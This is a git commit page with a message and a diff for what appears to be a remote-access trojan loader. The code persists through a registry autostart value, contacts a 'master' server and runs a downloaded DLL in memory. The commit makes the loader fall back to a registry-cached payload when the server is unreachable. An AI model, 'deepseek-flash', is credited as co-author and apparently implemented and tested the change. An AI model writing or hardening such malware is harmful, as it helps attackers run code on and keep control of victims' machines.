Fix: run the cached client payload when the master is unreachable
Both loaders only reached the registry-payload fallback after a successful TCP connect: the connect-failure branch just continued, and requestCount only advanced once a connection was established. A host that could not reach the master therefore retried forever and never ran the copy cached in the registry. Count consecutive connect failures; when MAX_CONNECT_FAILS (3) is reached and a payload was recorded (version non-empty), break out of the retry loop so the existing fallback code runs. Without a cached copy the loop still retries forever, as before, and a successful connect resets the counter. While fewer than three failures have accumulated the retry interval is 5 seconds instead of the random 0-119s (0-29s in test.cpp) backoff, so the fallback is not delayed by minutes; after the threshold the original backoff resumes. main.c and test.cpp (MemoryDllRunner) get the same change. The fallback itself is untouched, including its "bad copy => return NULL" behavior. Verified on main.c with a harness against a refusing port: three failed connects, then the cached payload was returned after ~16s. test.cpp was compile-checked with MSBuild (TestRun, Release x64); it was not run. Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
e6a3255a2b
commit
f618fbdc8b
2 files changed
+18
-3
No files matched your search
+9
-1
@@ -19,6 +19,10 @@ extern "C" {
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
#ifndef MAX_CONNECT_FAILS
|
||||
#define MAX_CONNECT_FAILS 3
|
||||
#endif
|
||||
|
||||
// 自动启动注册表中的值
|
||||
#define REG_NAME GetExeHashStr().c_str()
|
||||
|
||||
@@ -125,13 +129,14 @@ public:
|
||||
char* buffer = new char[bufSize];
|
||||
bool isFirstConnect = true;
|
||||
int requestCount = 0;
|
||||
int connectFailCount = 0;
|
||||
binFile bin(CLIENT_PATH);
|
||||
iniFile ini(CLIENT_PATH);
|
||||
auto hash = ini.GetStr("settings", "version", "");
|
||||
|
||||
do {
|
||||
if (!isFirstConnect)
|
||||
Sleep(!IsDebug ? rand() % 30 * 1000 : 5000);
|
||||
Sleep((!IsDebug && connectFailCount >= MAX_CONNECT_FAILS) ? rand() % 30 * 1000 : 5000);
|
||||
|
||||
isFirstConnect = false;
|
||||
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
@@ -150,8 +155,11 @@ public:
|
||||
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||
closesocket(clientSocket);
|
||||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||
if (++connectFailCount >= MAX_CONNECT_FAILS && !hash.empty())
|
||||
break;
|
||||
continue;
|
||||
}
|
||||
connectFailCount = 0;
|
||||
#ifdef _DEBUG
|
||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 };
|
||||
#else
|
||||
|
||||
Reference in new issue
Block a user